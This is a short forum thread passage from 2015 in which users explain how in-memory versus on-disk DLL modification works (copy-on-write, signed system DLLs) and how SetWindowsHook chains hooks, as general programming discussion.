Location: In your JS exploiting you and your system
revolution
Yes, you can modify DLLs "manually" if you like.

Doing it inside of your process only affects your process because of copy-on-write.

Doing it outside of a process (i.e. on disk) will affect all processes that use it, but if it is a registered system DLL then you will have some difficulty modifying it on disk and getting it to remain there. Some DLLs are signed and any changes will create problems when trying to load them.
Post 03 Mar 2015, 03:37
View user's profile Send private message Visit poster's website Reply with quote
Foxxy



Joined: 14 Jul 2014
Posts: 42
Location: Somewhere over the rainbow...
Foxxy
Manually is fairly easy, I understand the concepts behind that 100%. But what about a specific process's DLL? What does SetWindowsHook do that I couldn't do myself?
Post 03 Mar 2015, 05:23
View user's profile Send private message Reply with quote
revolution
When all else fails, read the source


Joined: 24 Aug 2004
Posts: 17280
Location: In your JS exploiting you and your system
revolution
SetWindowsHook uses a chain so that many different procedures can hook the same function. It is a documented and defined method that works on all platforms that support it.
Post 03 Mar 2015, 05:45
View user's profile Send private message Visit poster's website Reply with quote
Foxxy



Joined: 14 Jul 2014
Posts: 42
Location: Somewhere over the rainbow...
Foxxy
That is very interesting! A chain so that multiple programs can use the same hook, that is very clever and very cool.
Post 04 Mar 2015, 04:16
View user's profile Send private message Reply with quote
Display posts from previous:
Post new topic Reply to topic

Jump to:  


< Last Thread | Next Thread >
Forum Rules:
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Copyright © 1999-2020, Tomasz Grysztar. Also on YouTube, Twitter.

Website powered by rwasa.